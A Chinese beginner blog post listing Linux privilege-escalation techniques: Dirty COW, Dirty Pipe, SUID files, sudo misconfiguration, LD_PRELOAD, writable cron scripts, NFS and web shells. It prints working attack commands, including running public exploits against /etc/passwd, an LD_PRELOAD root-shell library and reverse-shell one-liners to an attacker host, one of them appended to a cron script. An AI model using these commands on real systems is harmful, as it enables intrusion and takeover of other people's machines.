首页 > 系统相关 >小白Linux提权

小白Linux提权

时间:2024-06-17 14:57:57浏览次数:14  
标签:bin 文件 SUID dev 提权 小白 Linux priv

 

1.脏牛提权

原因:

内存子系统处理写入复制时,发生内存条件竞争,任务执行顺序异常,可导致应用崩溃,进一步执行其他代码。get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE(映射_私有)标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,如果上述的竞态条件发生,就能成功的写回原来的文件。

使用公开的POC进行利用

gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w

2.文件覆盖

攻击者可以通过此漏洞写入任意文件,包括权限提升。

  1. 创建一个管道。
  2. 用任意数据填充管道(在所有ring entries中设置PIPE_BUF_FLAG_CAN_MERGE标志)
  3. 将管道排空(在struct pipe_inode_info环上的所有struct pipe_buffer实例中保持该标志的设置)
  4. 将目标文件(用O_RDONLY打开)中的数据从目标偏移量之前拼接到管道中
  5. 向管道中写入任意数据;由于PIPE_BUF_FLAG_CAN_MERGE被设置,该数据将覆盖缓存的文件页,而不是创建一个新的匿名的struct pipe_buffer。

使用公开的POC进行利用

gcc -o dirtypipe dirtypipe.c
./dirtypipe /etc/passwd

3. SUID文件

检查系统中具有SUID位的文件,这些文件在执行时以文件所有者的权限运行

# 查找SUID文件
find / -perm -4000 2>/dev/null
# 如果找到有漏洞的SUID文件,可以尝试利用
/usr/bin/passwd

4.sudo配置错误

sudoers配置文件,看看是否有任何普通用户可以执行的高权限命令。

sudo -l
# 如果有可执行的命令,如无需密码运行某些命令,可以利用提权
sudo /bin/bash

5. 环境变量漏洞

程序会使用不安全的环境变量,攻击者可以利用这些环境变量提权。

# 利用LD_PRELOAD提权
echo 'int main(){setgid(0); setuid(0); system("/bin/bash");}' > /tmp/priv_esc.c
gcc -fPIC -shared -o /tmp/priv_esc.so /tmp/priv_esc.c -nostartfiles
sudo LD_PRELOAD=/tmp/priv_esc.so <vulnerable_program>

6.可写脚本

计划任务执行的脚本可被普通用户修改,攻击者可以插入恶意代码。

# 查找可写的计划任务脚本
find /etc/cron* -writable 2>/dev/null
# 编辑脚本插入恶意代码,如反弹shell
echo 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1' >> /etc/cron.hourly/backup.sh

7. NFS共享

如果NFS共享配置不安全,可以挂载共享目录并进行提权。

# 挂载NFS共享
mount -o rw,vers=2 <target_ip>:/shared /mnt
# 尝试在共享目录中写入或执行高权限文件

Web应用漏洞

利用Web应用的漏洞(如RCE、文件上传等)进行提权。

# 通过Web Shell进行提权
/bin/bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1

标签:bin,文件,SUID,dev,提权,小白,Linux,priv
From: https://blog.csdn.net/asanmaoa/article/details/139742615

相关文章

  • 小白的Python+Anaconda+vscode安装教程(win11系统手把手教学)
    python下载安装python下载安装过程下载地址:https://www.python.org/![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/33bd022a0d104a22b9e8caf7abb4e294.png我这里选择了3.7.9版本选中刚才下载的.exe文件,右键-打卡上一个页面点击customizinstallation后......
  • 【linux】使用 `du` 命令查看各个目录的大小,并按大小排序
    使用du命令查看各个目录的大小,并按大小排序,可以按照以下步骤操作:1.打开终端按Command+Space调出Spotlight搜索,然后输入Terminal并打开它。2.使用du命令查看目录大小使用以下命令查看当前目录下一级子目录的大小,并以人类可读的形式显示(即使用-h选项):du-......
  • 步进电机Linux驱动
    本文将介绍步进电机Linux驱动程序,分为以三部分:步进电机介绍,硬件原理图以及程序编写1步进电机介绍步进电机是一种将电脉冲信号转变为角位移或者线位移的开环控制元件,在非超载的状态下,电机的转速、停止位置只取决于脉冲信号的频率和脉冲数,不受负载变化的影响,并且只有周期性误差而......
  • arm linux 启动
    bootloader是系统启动或复位以后执行的第一段代码,它主要用来初始化处理器及外设,然后调用Linux内核//Bootloader在运行过程中虽然具有初始化系统和执行用户输入的命令等作用,但它最根本的功能就是为了启动Linux内核Linux内核在完成系统的初始化之后根据启动参数中指定的roo......
  • linux或者CentOS环境下安装.NET Core环境
    一、下载注册Microsoft密钥:在安装之前,需要:1、注册Microsoft密钥2、注册产品资料库3、安装所需的依赖项打开终端并输入命令:sudorpm-Uvhhttps://packages.microsoft.com/config/centos/8/packages-microsoft-prod.rpm安装效果如下图所示:安装期间会提示用户验证,输......
  • 9、ansible-Ad-Hoc-点对点模式--m shell-shell模块(执行的就是linux命令)
    作用:可以执行任何有效的shell命令,包括管道、重定向和其他shell特性。该模块将在远程主机上启动一个shell,然后在该shell中执行命令。执行结果可以作为任务的输出返回,也可以将其保存到文件或变量中供后续任务使用。请注意,与其他模块相比,shell模块的执行效率较低,因为它需要在......
  • 在Linux中,什么是运维?什么是游戏运维?
    在Linux中,运维和游戏运维是两种不同的运维角色,但它们都涉及到对系统、网络和应用程序的管理、维护和优化。以下是对它们的详细解释:一、运维运维(OperationandMaintenance),通常指互联网运维,是技术部门中的一个重要组成部分,与研发、测试、系统管理共同构成互联网产品技术支撑的四......
  • Linux-grep
    Linux-grepgrep功能:擅长过滤2.2参数:-n ------显示行号-v ------取反,排除 -i ------不区分大小写-w ------根据单词进行过滤(两边有空格特殊符号)grep==egrep或grep-E;是否支持扩展正则| -----或者-o -----显示执行过程,显示出grep匹配的内容 -E -----可以使用扩展正......
  • 在Linux中,有哪些常用的网络管理工具?
    在Linux中,网络管理工具非常多样,它们可以帮助系统管理员监控、配置和故障排除网络。以下是一些常用的网络管理工具:ifconfig(或ip):ifconfig(在较新的系统中被ip命令取代)用于显示和配置网络接口。例如,ipaddrshow可以显示所有网络接口的状态。ip:ip命令是一个多功能的......
  • 在Linux中,如何查看某进程所打开的所有文件?
    在Linux中,查看某个进程所打开的所有文件主要可以使用lsof命令。下面是详细的步骤:确定进程ID(PID):首先,你需要知道你想查询的进程的进程ID。这可以通过多种方式完成,例如使用ps命令配合grep来查找进程名称并提取PID。例如,如果你想查找名为myprocess的进程打开的文件,可以这样做:......